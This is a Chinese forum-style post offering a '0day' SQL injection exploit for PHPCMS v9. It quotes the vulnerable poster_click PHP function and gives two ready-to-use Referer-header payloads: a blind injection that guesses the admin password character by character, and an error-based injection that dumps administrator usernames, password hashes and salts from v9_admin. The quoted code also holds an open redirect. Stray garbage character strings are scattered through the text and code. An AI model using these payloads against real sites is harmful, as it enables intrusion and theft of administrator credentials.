phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
0 a0 d+ r0 l& u/ h  K- z
* O" g* j* L, {问题函数\phpcms\modules\poster\index.php

, Y& p' n9 q, a  o! x( S: \public function poster_click() {
% L2 E2 ]- O* s' Z* w6 W9 o% i$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, a  F' @: E& Zif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
. d% E6 i/ \! f- X/ `$ v/ x$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
# J! G4 A. k; s) R# y6 i$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
: W3 x) l8 [$ ]$ \4 y7 U2 ?- Nif (count($setting)==1) {
3 f$ @& d8 u' p( {0 N- ?$url = $setting['1']['linkurl'];
} else {
6 Q: L$ H: j( X7 a$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
; l" I; {# Y8 D7 k9 Rheader('Location: '.$url);
/ a" t8 g0 ]% W8 `}
9 [$ @! \7 f9 |- B
2 q# c' _* N& l( w
5 P6 Z! M7 I) h. l! W& R# f
  E6 u" @0 P- n# Z$ }利用方式：
! B0 d8 ^% n" o( g
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

% k/ w- w2 |& Q5 k. d通过返回页面，正常与否一个个猜解密码字段。
$ a$ @+ [7 k0 L9 |) b1 u% O/ H; w( W
3 p  M! `2 y- z! a$ |1 X2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
' Y8 O9 X4 \& W  A
2 a% B1 Q. ~2 o9 H此方法是爆错注入手法，原理自查。
! o$ h9 c9 J: k# ?# _# ?4 O! f
